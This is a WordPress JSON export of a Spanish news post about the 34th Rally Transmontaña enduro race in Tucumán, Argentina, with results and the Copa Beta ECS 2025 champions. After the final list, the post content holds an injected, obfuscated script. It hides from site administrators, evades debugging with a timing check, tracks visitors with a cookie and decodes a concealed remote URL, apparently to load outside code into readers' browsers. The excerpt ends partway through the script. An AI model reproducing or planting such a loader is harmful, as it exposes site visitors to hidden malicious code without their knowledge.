{"id":105957,"date":"2025-12-05T11:30:21","date_gmt":"2025-12-05T14:30:21","guid":{"rendered":"https:\/\/fueluniverse.tv\/blog\/?p=105957"},"modified":"2026-01-18T12:37:24","modified_gmt":"2026-01-18T15:37:24","slug":"el-transmontana-fue-el-escenario-perfecto-para-definir-la-copa-beta-enduro-classics","status":"publish","type":"post","link":"https:\/\/fueluniverse.tv\/blog\/actualidad\/el-transmontana-fue-el-escenario-perfecto-para-definir-la-copa-beta-enduro-classics\/","title":{"rendered":"El Transmonta\u00f1a fue el escenario perfecto para definir la Copa Beta Enduro Classics"},"content":{"rendered":"\n<figure class=\"wp-block-image size-large is-resized\"><img decoding=\"async\" width=\"770\" height=\"551\" src=\"https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/12\/SaveClip.App_587235123_18542123164017174_2403599427847161530_n-770x551.jpg\" alt=\"\" class=\"wp-image-105958\" style=\"width:840px;height:auto\" srcset=\"https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/12\/SaveClip.App_587235123_18542123164017174_2403599427847161530_n-770x551.jpg 770w, https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/12\/SaveClip.App_587235123_18542123164017174_2403599427847161530_n-480x344.jpg 480w, https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/12\/SaveClip.App_587235123_18542123164017174_2403599427847161530_n-768x550.jpg 768w, https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/12\/SaveClip.App_587235123_18542123164017174_2403599427847161530_n.jpg 1080w\" sizes=\"(max-width: 770px) 100vw, 770px\" \/><\/figure>\n\n\n\n<p>La 34\u00aa edici\u00f3n del <strong>Rally Transmonta\u00f1a de Enduro<\/strong>, Copa Zavadivker Motos, se celebr\u00f3 con gran \u00e9xito en <strong>San Pedro de Colalao, Tucum\u00e1n<\/strong>. El emocionante evento congreg\u00f3 a cerca de <strong>700 pilotos<\/strong> procedentes de <strong>cuatro pa\u00edses<\/strong> (Argentina, Chile, Uruguay y Paraguay), con representaci\u00f3n de <strong>20 de los 24 distritos argentinos<\/strong>. Adem\u00e1s, la prueba sirvi\u00f3 como <strong>Gran Premio Coronaci\u00f3n<\/strong> de la Copa Beta del Enduro Classics Series nacional, donde <strong>Jos\u00e9 Mar\u00eda Mercado se coron\u00f3 campe\u00f3n del m\u00e1ximo cetro en juego, tras dominar la prueba junto a Gonzalo D\u00edaz V\u00e9lez<\/strong>. <\/p>\n\n\n\n<p>El rally se desarroll\u00f3 del <strong>21 al 23 de noviembre<\/strong>, ofreciendo un recorrido principal con <strong>tres alternativas de trazado<\/strong> que sumaban un total de <strong>130 kil\u00f3metros<\/strong>. La competici\u00f3n arranc\u00f3 con un <strong>pr\u00f3logo de s\u00faper enduro<\/strong> que incluy\u00f3 obst\u00e1culos, agua y barro. Este pr\u00f3logo fue ganado por el equipo <strong>KTM Argentina<\/strong>, formado por <strong>Jos\u00e9 Mar\u00eda Mercado<\/strong> y <strong>Gonzalo D\u00edaz V\u00e9lez<\/strong>, en la categor\u00eda Senior A. Posteriormente, la misma dupla se alz\u00f3 con el triunfo en la carrera principal, completando el exigente trazado en un tiempo neto de <strong>3 horas, 28 minutos y 3 segundos<\/strong>, superando a numerosas parejas de categor\u00edas inferiores que hab\u00edan largado con antelaci\u00f3n.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img decoding=\"async\" width=\"770\" height=\"513\" src=\"https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/12\/WhatsApp-Image-2025-12-05-at-11.58.50-1-770x513.jpeg\" alt=\"\" class=\"wp-image-105959\" style=\"width:840px;height:auto\" srcset=\"https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/12\/WhatsApp-Image-2025-12-05-at-11.58.50-1-770x513.jpeg 770w, https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/12\/WhatsApp-Image-2025-12-05-at-11.58.50-1-480x320.jpeg 480w, https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/12\/WhatsApp-Image-2025-12-05-at-11.58.50-1-768x512.jpeg 768w, https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/12\/WhatsApp-Image-2025-12-05-at-11.58.50-1-1536x1023.jpeg 1536w, https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/12\/WhatsApp-Image-2025-12-05-at-11.58.50-1.jpeg 1600w\" sizes=\"(max-width: 770px) 100vw, 770px\" \/><\/figure>\n\n\n\n<p>Se implement\u00f3 un <strong>mega operativo<\/strong> de control, sanitario y rastreo para esta edici\u00f3n, la primera de este cl\u00e1sico argentino disputada casi \u00edntegramente en la monta\u00f1a, considerada <strong>la versi\u00f3n m\u00e1s &#8216;endurera&#8217; de las \u00faltimas d\u00e9cadas<\/strong>. El clima fue variable, alternando entre nublado y soleado, con una temperatura media de <strong>28 grados<\/strong>. El Transmonta\u00f1a se distingue globalmente por ser <strong>la \u00fanica competencia de enduro donde se corre en parejas o equipos<\/strong>, lo que incrementa la adrenalina. Los pilotos forman binomios, trinomios y cuartetos para competir en las <strong>22 categor\u00edas diferentes<\/strong>, destac\u00e1ndose este a\u00f1o la sorpresiva y significativa participaci\u00f3n de mujeres.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img decoding=\"async\" width=\"770\" height=\"513\" src=\"https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/12\/WhatsApp-Image-2025-12-05-at-11.58.50-770x513.jpeg\" alt=\"\" class=\"wp-image-105962\" style=\"width:840px;height:auto\" srcset=\"https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/12\/WhatsApp-Image-2025-12-05-at-11.58.50-770x513.jpeg 770w, https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/12\/WhatsApp-Image-2025-12-05-at-11.58.50-480x320.jpeg 480w, https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/12\/WhatsApp-Image-2025-12-05-at-11.58.50-768x512.jpeg 768w, https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/12\/WhatsApp-Image-2025-12-05-at-11.58.50-1536x1023.jpeg 1536w, https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/12\/WhatsApp-Image-2025-12-05-at-11.58.50.jpeg 1600w\" sizes=\"(max-width: 770px) 100vw, 770px\" \/><\/figure>\n\n\n\n<p>El evento se divide en dos clasificaciones generales tradicionales. La primera se corri\u00f3 sobre un trazado de <strong>112 kil\u00f3metros<\/strong> y fue ganada por el binomio misionero de <strong>N\u00e9stor y Maximiliano Sartori<\/strong> (Padre e Hijo B). La segunda, sobre el recorrido completo de <strong>135 kil\u00f3metros<\/strong>, vio la victoria de los ya mencionados pilotos de KTM Argentina, <strong>Mercado-D\u00edaz V\u00e9lez<\/strong>. Superaron a la dupla del internacional <strong>Diego Llanos<\/strong> (Kawasaki Argentina) y el excampe\u00f3n argentino <strong>Franco Ayuso<\/strong> (Husqvarna). El tercer puesto fue para el binomio local de <strong>Luciano Herrera y Luciano Ruiz<\/strong> (KTM), y cuartos quedaron <strong>Gino Cuoghi<\/strong> (campe\u00f3n nacional junior) y <strong>Santiago Fr\u00edas<\/strong> (campe\u00f3n latino) del equipo Fantic Argentina.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img decoding=\"async\" width=\"770\" height=\"493\" src=\"https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/12\/WhatsApp-Image-2025-12-05-at-11.58.47-770x493.jpeg\" alt=\"\" class=\"wp-image-105960\" style=\"width:840px;height:auto\" srcset=\"https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/12\/WhatsApp-Image-2025-12-05-at-11.58.47-770x493.jpeg 770w, https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/12\/WhatsApp-Image-2025-12-05-at-11.58.47-480x307.jpeg 480w, https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/12\/WhatsApp-Image-2025-12-05-at-11.58.47-768x492.jpeg 768w, https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/12\/WhatsApp-Image-2025-12-05-at-11.58.47-1536x983.jpeg 1536w, https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/12\/WhatsApp-Image-2025-12-05-at-11.58.47.jpeg 1600w\" sizes=\"(max-width: 770px) 100vw, 770px\" \/><\/figure>\n\n\n\n<p>El Rally Transmonta\u00f1a es un <strong>crisol de pilotos<\/strong> que a\u00f1o tras a\u00f1o genera un ambiente tan diverso como emocionante. Aunque la victoria es el objetivo primordial para los m\u00e1s preparados, la euforia se extiende a quienes alcanzan el podio y, masivamente, a todos los que logran <strong>completar el desaf\u00edo<\/strong> de esta carrera larga, t\u00e9cnica y sumamente <strong>desgastante<\/strong> f\u00edsica y mentalmente, raz\u00f3n por la cual tradicionalmente no se corre de forma individual. El balance para la organizaci\u00f3n, a cargo del <strong>Club Tucumano de Enduro y Rescate<\/strong> con el apoyo del <strong>Gobierno de Tucum\u00e1n<\/strong> y la comuna de <strong>San Pedro de Colalao<\/strong>, junto a un equipo multidisciplinario de profesionales, es <strong>altamente positivo<\/strong>.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img decoding=\"async\" width=\"770\" height=\"513\" src=\"https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/12\/WhatsApp-Image-2025-12-05-at-11.58.51-770x513.jpeg\" alt=\"\" class=\"wp-image-105961\" style=\"width:840px;height:auto\" srcset=\"https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/12\/WhatsApp-Image-2025-12-05-at-11.58.51-770x513.jpeg 770w, https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/12\/WhatsApp-Image-2025-12-05-at-11.58.51-480x320.jpeg 480w, https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/12\/WhatsApp-Image-2025-12-05-at-11.58.51-768x512.jpeg 768w, https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/12\/WhatsApp-Image-2025-12-05-at-11.58.51-1536x1023.jpeg 1536w, https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/12\/WhatsApp-Image-2025-12-05-at-11.58.51.jpeg 1600w\" sizes=\"(max-width: 770px) 100vw, 770px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>&nbsp;Ganadores 34\u00ba edici\u00f3n Transmonta\u00f1a<\/strong><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Senior A<\/strong>: Jos\u00e9 Mar\u00eda Mercado y Gonzalo D\u00edaz V\u00e9lez<\/li>\n\n\n\n<li><strong>Senior B<\/strong>: Maximiliano Lerda y Santiago Abreg\u00fa<\/li>\n\n\n\n<li><strong>Junior A<\/strong>: Manuel Quintar y Carlos De Carlo<\/li>\n\n\n\n<li><strong>Junior B<\/strong>: Yorgo Kutulas y Octavio L\u00f3pez Madrazo<\/li>\n\n\n\n<li><strong>Principiantes A1<\/strong>: Marcos Del Pozo y Mateo Zavadivker<\/li>\n\n\n\n<li><strong>Principiantes A2<\/strong>: Javier Carot y Julio Heredia<\/li>\n\n\n\n<li><strong>Padre e Hijo A: <\/strong>Maximiliano Sartori y N\u00e9stor Sartori.<\/li>\n\n\n\n<li><strong>Padre e Hijo B<\/strong>: Mario Bravo y Valentino Bravo<\/li>\n\n\n\n<li><strong>Mixtos:<\/strong> Melina Bretillot y Ricardo Vanini<\/li>\n\n\n\n<li><strong>Damas:<\/strong> Carolina Yapur y Agostina Benavides.<\/li>\n\n\n\n<li><strong>Master 1<\/strong>: Marcos Polo y Cristian Jim\u00e9nez<\/li>\n\n\n\n<li><strong>Master 2<\/strong>: Daniel Alfaro y Juan Enrique Grasso<\/li>\n\n\n\n<li><strong>Master 3<\/strong>: Andr\u00e9s Echazu y Juan Jos\u00e9 Briz<\/li>\n\n\n\n<li><strong>Master 4: <\/strong>Fernando Moris y Daniel Hamdan.<\/li>\n\n\n\n<li><strong>Master 5: <\/strong>Aldo Dolcemascolo y Gustavo Almada.<\/li>\n\n\n\n<li><strong>Master Leyendas: <\/strong>Jos\u00e9 Jimenez y Andr\u00e9s Barrionuevo.<\/li>\n\n\n\n<li><strong>Equipo A con experiencia<\/strong>: Facundo Echazu &#8211; Mart\u00edn Mercado &#8211; Mauricio Ruiz<\/li>\n\n\n\n<li><strong>Equipo B sin experiencia:<\/strong> Javier Nu\u00f1ez &#8211; Luis Mayoral &#8211; Javier Sosa<\/li>\n\n\n\n<li><strong>Tutores:<\/strong> David Dionisio y David Olveira.<\/li>\n\n\n\n<li><strong>Equipos Master + 40:<\/strong> C\u00e9sar Rodr\u00edguez &#8211; Jos\u00e9 Aucello &#8211; Federico Romero<\/li>\n\n\n\n<li><strong>Principiantes B:<\/strong> Juan Jos\u00e9 Ruiz y Juan Augusto Ruiz.<\/li>\n\n\n\n<li><strong>Desarrollo:<\/strong> M\u00e1ximo Soria y Jos\u00e9 Soria.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Campeones Copa Beta ECS 2025<\/strong><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Oro: Jos\u00e9 Mar\u00eda Mercado (KTM Argentina)<\/li>\n\n\n\n<li>Plata: Manuel Quintar Jr. (KTM Argentina)<\/li>\n\n\n\n<li>Bronce: Manuel Wirsch (Salta)<\/li>\n\n\n\n<li>Acero: Mateo Zavadivker (Tucum\u00e1n)<\/li>\n\n\n\n<li>Master Oro: Marcos Polo (Mendoza)<\/li>\n\n\n\n<li>Master Plata: Miguel Dufilho (C\u00f3rdoba)<\/li>\n\n\n\n<li>Master Bronce: Dami\u00e1n Zavadivker (Tucum\u00e1n)<\/li>\n\n\n\n<li>Master Acero: N\u00e9stor Sartori (Misiones)<\/li>\n\n\n\n<li>Diamante: Carolina Yapur (Tucum\u00e1n)<\/li>\n\n\n\n<li>Padre e Hijo: Ignacio y Gabriel Mart\u00edn (Mendoza)<\/li>\n<\/ul>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 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